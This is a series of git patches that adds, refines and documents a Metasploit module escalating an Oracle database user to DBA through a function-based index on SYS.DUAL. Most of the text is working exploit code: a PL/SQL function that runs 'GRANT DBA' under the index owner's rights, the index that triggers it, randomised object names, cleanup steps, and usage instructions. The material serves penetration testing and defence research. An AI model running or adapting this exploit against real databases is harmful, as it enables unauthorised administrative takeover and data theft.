From f7c95d4b1a8ccd1eded58c21a6a13f1e7db88a9e Mon Sep 17 00:00:00 2001 From: Moshe Kaplan Date: Sun, 6 Aug 2017 23:07:46 -0400 Subject: [PATCH 1/8] Add Oracle DB Priv Esc via function-based index (#1) Adds a Metasploit module for escalating an Oracle DB user to DBA through abusing index privileges to create a function-based index that runs with the privileges of the table owner, instead of the user who created the index. This module was tested on Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64 bit Production. A user can query for their privileges with the following: SELECT * FROM session_privs The user will need to disconnect and reconnect after running the exploit to access their new privileges. --- .../admin/oracle/oracle_index_privesc.rb | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 modules/auxiliary/admin/oracle/oracle_index_privesc.rb diff --git a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb new file mode 100644 index 0000000000..268c546c70 --- /dev/null +++ b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::ORACLE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle DB Privilege Escalation via function-based index', + 'Description' => %q{ + This module will escalate an Oracle DB user to DBA by creating a function-based index on a table owned by a more-privileged user. Credits to David Litchfield for publishing the technique. + }, + 'Author' => [ 'Moshe Kaplan' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf' ], + ], + 'DisclosureDate' => 'Jan 21 2015')) + + register_options( + [ + OptString.new('SQL', [ true, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), + OptString.new('TABLE', [ true, 'Table to create the index on.', "SYS.DUAL"]), + ]) + end + + def run + return if not check_dependencies + + name = Rex::Text.rand_text_alpha(rand(5) + 1) + + func_name = "GETDBA_#{datastore['DBUSER']}_#{name}" + create_function = " + CREATE OR REPLACE FUNCTION #{func_name} + (FOO varchar) return varchar + deterministic authid current_user is + pragma autonomous_transaction; + begin + execute immediate '#{datastore['SQL']}'; + commit; + return 'PWNED'; + end; + " + + index_name = "exploit_index__#{datastore['DBUSER']}_#{name}" + create_index = " + CREATE INDEX #{index_name} ON + #{datastore['TABLE']}(#{datastore['DBUSER']}.GETDBA_#{datastore['DBUSER']}_#{name}('BAR'))" + + trigger = "SELECT * FROM #{datastore['TABLE']}" + + clean_index = "drop index #{index_name}" + clean_func = "drop function #{func_name}" + + print_status("Running exploit...") + + begin + print_status("Attempting to create function #{func_name}...") + prepare_exec(create_function) + print_status("Attempting to create index #{index_name}...") + prepare_exec(create_index) + print_status("Querying to trigger function...") + prepare_exec(trigger) + print_status("Cleaning up index...") + prepare_exec(clean_index) + print_status("Cleaning up function...") + prepare_exec(clean_func) + print_status("Exploit complete!") + rescue ::OCIError => e + print_status("Error!") + end + end + +end \ No newline at end of file From 0d23a5001c630b86e0854e7b381f4952dcc9586e Mon Sep 17 00:00:00 2001 From: Moshe Kaplan Date: Mon, 7 Aug 2017 09:11:58 -0400 Subject: [PATCH 2/8] Convert to Unix-style EOL --- .../admin/oracle/oracle_index_privesc.rb | 154 +++++++++--------- 1 file changed, 77 insertions(+), 77 deletions(-) diff --git a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb index 268c546c70..4cb47438ec 100644 --- a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb +++ b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb @@ -1,78 +1,78 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Auxiliary - - include Msf::Exploit::ORACLE - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB Privilege Escalation via function-based index', - 'Description' => %q{ - This module will escalate an Oracle DB user to DBA by creating a function-based index on a table owned by a more-privileged user. Credits to David Litchfield for publishing the technique. - }, - 'Author' => [ 'Moshe Kaplan' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf' ], - ], - 'DisclosureDate' => 'Jan 21 2015')) - - register_options( - [ - OptString.new('SQL', [ true, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - OptString.new('TABLE', [ true, 'Table to create the index on.', "SYS.DUAL"]), - ]) - end - - def run - return if not check_dependencies - - name = Rex::Text.rand_text_alpha(rand(5) + 1) - - func_name = "GETDBA_#{datastore['DBUSER']}_#{name}" - create_function = " - CREATE OR REPLACE FUNCTION #{func_name} - (FOO varchar) return varchar - deterministic authid current_user is - pragma autonomous_transaction; - begin - execute immediate '#{datastore['SQL']}'; - commit; - return 'PWNED'; - end; - " - - index_name = "exploit_index__#{datastore['DBUSER']}_#{name}" - create_index = " - CREATE INDEX #{index_name} ON - #{datastore['TABLE']}(#{datastore['DBUSER']}.GETDBA_#{datastore['DBUSER']}_#{name}('BAR'))" - - trigger = "SELECT * FROM #{datastore['TABLE']}" - - clean_index = "drop index #{index_name}" - clean_func = "drop function #{func_name}" - - print_status("Running exploit...") - - begin - print_status("Attempting to create function #{func_name}...") - prepare_exec(create_function) - print_status("Attempting to create index #{index_name}...") - prepare_exec(create_index) - print_status("Querying to trigger function...") - prepare_exec(trigger) - print_status("Cleaning up index...") - prepare_exec(clean_index) - print_status("Cleaning up function...") - prepare_exec(clean_func) - print_status("Exploit complete!") - rescue ::OCIError => e - print_status("Error!") - end - end - +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::ORACLE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle DB Privilege Escalation via function-based index', + 'Description' => %q{ + This module will escalate an Oracle DB user to DBA by creating a function-based index on a table owned by a more-privileged user. Credits to David Litchfield for publishing the technique. + }, + 'Author' => [ 'Moshe Kaplan' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf' ], + ], + 'DisclosureDate' => 'Jan 21 2015')) + + register_options( + [ + OptString.new('SQL', [ true, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), + OptString.new('TABLE', [ true, 'Table to create the index on.', "SYS.DUAL"]), + ]) + end + + def run + return if not check_dependencies + + name = Rex::Text.rand_text_alpha(rand(5) + 1) + + func_name = "GETDBA_#{datastore['DBUSER']}_#{name}" + create_function = " + CREATE OR REPLACE FUNCTION #{func_name} + (FOO varchar) return varchar + deterministic authid current_user is + pragma autonomous_transaction; + begin + execute immediate '#{datastore['SQL']}'; + commit; + return 'PWNED'; + end; + " + + index_name = "exploit_index__#{datastore['DBUSER']}_#{name}" + create_index = " + CREATE INDEX #{index_name} ON + #{datastore['TABLE']}(#{datastore['DBUSER']}.GETDBA_#{datastore['DBUSER']}_#{name}('BAR'))" + + trigger = "SELECT * FROM #{datastore['TABLE']}" + + clean_index = "drop index #{index_name}" + clean_func = "drop function #{func_name}" + + print_status("Running exploit...") + + begin + print_status("Attempting to create function #{func_name}...") + prepare_exec(create_function) + print_status("Attempting to create index #{index_name}...") + prepare_exec(create_index) + print_status("Querying to trigger function...") + prepare_exec(trigger) + print_status("Cleaning up index...") + prepare_exec(clean_index) + print_status("Cleaning up function...") + prepare_exec(clean_func) + print_status("Exploit complete!") + rescue ::OCIError => e + print_status("Error!") + end + end + end \ No newline at end of file From 6b84c92056d4562f84574bc113ddf18454cd79bc Mon Sep 17 00:00:00 2001 From: Moshe Kaplan Date: Mon, 7 Aug 2017 14:20:22 -0400 Subject: [PATCH 3/8] Add Litchfield as author and use C-style operator --- modules/auxiliary/admin/oracle/oracle_index_privesc.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb index 4cb47438ec..6404bd0295 100644 --- a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb +++ b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb @@ -13,7 +13,11 @@ class MetasploitModule < Msf::Auxiliary 'Description' => %q{ This module will escalate an Oracle DB user to DBA by creating a function-based index on a table owned by a more-privileged user. Credits to David Litchfield for publishing the technique. }, - 'Author' => [ 'Moshe Kaplan' ], + 'Author' => + [ + 'David Litchfield', # Vulnerability discovery and exploit + 'Moshe Kaplan', # Metasploit module + ], 'License' => MSF_LICENSE, 'References' => [ @@ -29,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary end def run - return if not check_dependencies + return if !check_dependencies name = Rex::Text.rand_text_alpha(rand(5) + 1) @@ -75,4 +79,4 @@ class MetasploitModule < Msf::Auxiliary end end -end \ No newline at end of file +end From 9815c6b91df34df3a2525fb2052e75776db7ffeb Mon Sep 17 00:00:00 2001 From: Moshe Kaplan Date: Wed, 30 Aug 2017 13:23:08 -0400 Subject: [PATCH 4/8] Create oracle_index_privesc.md --- .../admin/oracle/oracle_index_privesc.md | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 documentation/modules/auxiliary/admin/oracle/oracle_index_privesc.md diff --git a/documentation/modules/auxiliary/admin/oracle/oracle_index_privesc.md b/documentation/modules/auxiliary/admin/oracle/oracle_index_privesc.md new file mode 100644 index 0000000000..ec0c092190 --- /dev/null +++ b/documentation/modules/auxiliary/admin/oracle/oracle_index_privesc.md @@ -0,0 +1,35 @@ +## Vulnerable Application + + 1. [Install Oracle Database](http://www.oracle.com/technetwork/indexes/downloads/index.html#database) + 2. [Insert the "Scott/Tiger" test data](http://www.orafaq.com/wiki/SCOTT) + +## Verification Steps + + 1. Install the application + 2. Connect via sqlplus, and check current privileges: + 1. Ex: `sqlplus SCOTT/TIGER@192.168.3.100:1521/XEXDB` + 2. Ex: `SELECT * FROM session_privs` + 2. Start msfconsole + 3. Do: ```use auxiliary/admin/oracle/oracle_index_privesc``` + 4. Do: set ```SQL```, and ```TABLE``` if desired + 5. Do: ```exploit``` + 6. Reconnect with sqlplus and check privileges post-exploit: + 1. Ex: `sqlplus SCOTT/TIGER@192.168.3.100:1521/XEXDB` + 2. Ex: `SELECT * FROM session_privs` + +## Options + + **SQL** + + The SQL that will execute with the privileges of the user who created the index. Default is to escalate privileges. + + **TABLE** + + Table to create the index on. + +## Scenarios + +### Escalating an Oracle SQL account to database administrator privileges. + + ``` + ``` From 0a2c0751fa894efef3e1f1856d994b6902502457 Mon Sep 17 00:00:00 2001 From: Moshe Kaplan Date: Thu, 22 Nov 2018 15:25:51 -0500 Subject: [PATCH 5/8] Randomize more --- .../admin/oracle/oracle_index_privesc.rb | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb index 6404bd0295..4c296cb612 100644 --- a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb +++ b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb @@ -33,11 +33,11 @@ class MetasploitModule < Msf::Auxiliary end def run - return if !check_dependencies + return unless check_dependencies - name = Rex::Text.rand_text_alpha(rand(5) + 1) + randomizer = Rex::Text.rand_text_alpha(6..12) + func_name = "#{randomizer}" + Rex::Text.rand_text_alpha(2..6) - func_name = "GETDBA_#{datastore['DBUSER']}_#{name}" create_function = " CREATE OR REPLACE FUNCTION #{func_name} (FOO varchar) return varchar @@ -46,14 +46,15 @@ class MetasploitModule < Msf::Auxiliary begin execute immediate '#{datastore['SQL']}'; commit; - return 'PWNED'; + return ''; end; " - index_name = "exploit_index__#{datastore['DBUSER']}_#{name}" + index_name = "#{randomizer}" + Rex::Text.rand_text_alpha(2..6) + param_value = Rex::Text.rand_text_alpha(2..6) create_index = " CREATE INDEX #{index_name} ON - #{datastore['TABLE']}(#{datastore['DBUSER']}.GETDBA_#{datastore['DBUSER']}_#{name}('BAR'))" + #{datastore['TABLE']}(#{datastore['DBUSER']}.#{func_name}('#{param_value}'))" trigger = "SELECT * FROM #{datastore['TABLE']}" @@ -64,14 +65,19 @@ class MetasploitModule < Msf::Auxiliary begin print_status("Attempting to create function #{func_name}...") + print_status(create_function) prepare_exec(create_function) print_status("Attempting to create index #{index_name}...") + print_status(create_index) prepare_exec(create_index) print_status("Querying to trigger function...") + print_status(trigger) prepare_exec(trigger) print_status("Cleaning up index...") + print_status(clean_index) prepare_exec(clean_index) print_status("Cleaning up function...") + print_status(clean_func) prepare_exec(clean_func) print_status("Exploit complete!") rescue ::OCIError => e From 1eeb1005dbec520e5a0c5207a861d9f07134ea65 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 30 Nov 2018 09:39:57 -0500 Subject: [PATCH 6/8] Update modules/auxiliary/admin/oracle/oracle_index_privesc.rb Use print_error for errors and print the error details, Co-Authored-By: moshekaplan --- modules/auxiliary/admin/oracle/oracle_index_privesc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb index 4c296cb612..320c7e8feb 100644 --- a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb +++ b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb @@ -81,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary prepare_exec(clean_func) print_status("Exploit complete!") rescue ::OCIError => e - print_status("Error!") + print_error("Error! #{e.message}") end end From bd41895fc4f783701d3813c80676607ae96ad939 Mon Sep 17 00:00:00 2001 From: Moshe Kaplan Date: Fri, 30 Nov 2018 09:44:14 -0500 Subject: [PATCH 7/8] Removed "randomizer" --- modules/auxiliary/admin/oracle/oracle_index_privesc.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb index 320c7e8feb..ba752fb1ff 100644 --- a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb +++ b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb @@ -35,8 +35,7 @@ class MetasploitModule < Msf::Auxiliary def run return unless check_dependencies - randomizer = Rex::Text.rand_text_alpha(6..12) - func_name = "#{randomizer}" + Rex::Text.rand_text_alpha(2..6) + func_name = Rex::Text.rand_text_alpha(6..10) create_function = " CREATE OR REPLACE FUNCTION #{func_name} @@ -50,8 +49,9 @@ class MetasploitModule < Msf::Auxiliary end; " - index_name = "#{randomizer}" + Rex::Text.rand_text_alpha(2..6) + index_name = Rex::Text.rand_text_alpha(6..10) param_value = Rex::Text.rand_text_alpha(2..6) + create_index = " CREATE INDEX #{index_name} ON #{datastore['TABLE']}(#{datastore['DBUSER']}.#{func_name}('#{param_value}'))" From d0f1f72426375b876c705d60764956949821a31a Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 10 Dec 2018 11:21:16 -0600 Subject: [PATCH 8/8] Clean up module --- .../admin/oracle/oracle_index_privesc.md | 7 --- .../admin/oracle/oracle_index_privesc.rb | 47 ++++++++++--------- 2 files changed, 24 insertions(+), 30 deletions(-) diff --git a/documentation/modules/auxiliary/admin/oracle/oracle_index_privesc.md b/documentation/modules/auxiliary/admin/oracle/oracle_index_privesc.md index ec0c092190..043cc246db 100644 --- a/documentation/modules/auxiliary/admin/oracle/oracle_index_privesc.md +++ b/documentation/modules/auxiliary/admin/oracle/oracle_index_privesc.md @@ -26,10 +26,3 @@ **TABLE** Table to create the index on. - -## Scenarios - -### Escalating an Oracle SQL account to database administrator privileges. - - ``` - ``` diff --git a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb index ba752fb1ff..ab1e7afadb 100644 --- a/modules/auxiliary/admin/oracle/oracle_index_privesc.rb +++ b/modules/auxiliary/admin/oracle/oracle_index_privesc.rb @@ -9,9 +9,11 @@ class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Oracle DB Privilege Escalation via function-based index', + 'Name' => 'Oracle DB Privilege Escalation via Function-Based Index', 'Description' => %q{ - This module will escalate an Oracle DB user to DBA by creating a function-based index on a table owned by a more-privileged user. Credits to David Litchfield for publishing the technique. + This module will escalate an Oracle DB user to DBA by creating a + function-based index on a table owned by a more-privileged user. + Credits to David Litchfield for publishing the technique. }, 'Author' => [ @@ -25,11 +27,11 @@ class MetasploitModule < Msf::Auxiliary ], 'DisclosureDate' => 'Jan 21 2015')) - register_options( - [ - OptString.new('SQL', [ true, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - OptString.new('TABLE', [ true, 'Table to create the index on.', "SYS.DUAL"]), - ]) + register_options( + [ + OptString.new('SQL', [ true, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}" ]), + OptString.new('TABLE', [ true, 'Table to create the index on.', 'SYS.DUAL' ]), + ]) end def run @@ -37,52 +39,51 @@ class MetasploitModule < Msf::Auxiliary func_name = Rex::Text.rand_text_alpha(6..10) - create_function = " + create_function = <<-EOF CREATE OR REPLACE FUNCTION #{func_name} (FOO varchar) return varchar deterministic authid current_user is pragma autonomous_transaction; begin - execute immediate '#{datastore['SQL']}'; + execute immediate '#{datastore['SQL'].gsub("'", "\\\\'")}'; commit; return ''; end; - " + EOF index_name = Rex::Text.rand_text_alpha(6..10) param_value = Rex::Text.rand_text_alpha(2..6) - create_index = " - CREATE INDEX #{index_name} ON - #{datastore['TABLE']}(#{datastore['DBUSER']}.#{func_name}('#{param_value}'))" + create_index = "CREATE INDEX #{index_name} ON " \ + "#{datastore['TABLE']}(#{datastore['DBUSER']}.#{func_name}('#{param_value}'))" trigger = "SELECT * FROM #{datastore['TABLE']}" clean_index = "drop index #{index_name}" clean_func = "drop function #{func_name}" - print_status("Running exploit...") + print_status('Running exploit...') begin print_status("Attempting to create function #{func_name}...") - print_status(create_function) prepare_exec(create_function) print_status("Attempting to create index #{index_name}...") - print_status(create_index) prepare_exec(create_index) - print_status("Querying to trigger function...") - print_status(trigger) + print_status('Querying to trigger function...') prepare_exec(trigger) - print_status("Cleaning up index...") - print_status(clean_index) + print_status('Cleaning up index...') prepare_exec(clean_index) - print_status("Cleaning up function...") - print_status(clean_func) + print_status('Cleaning up function...') prepare_exec(clean_func) - print_status("Exploit complete!") + print_status('Exploit complete!') rescue ::OCIError => e print_error("Error! #{e.message}") end end + def prepare_exec(query) + print_status(query) + super + end + end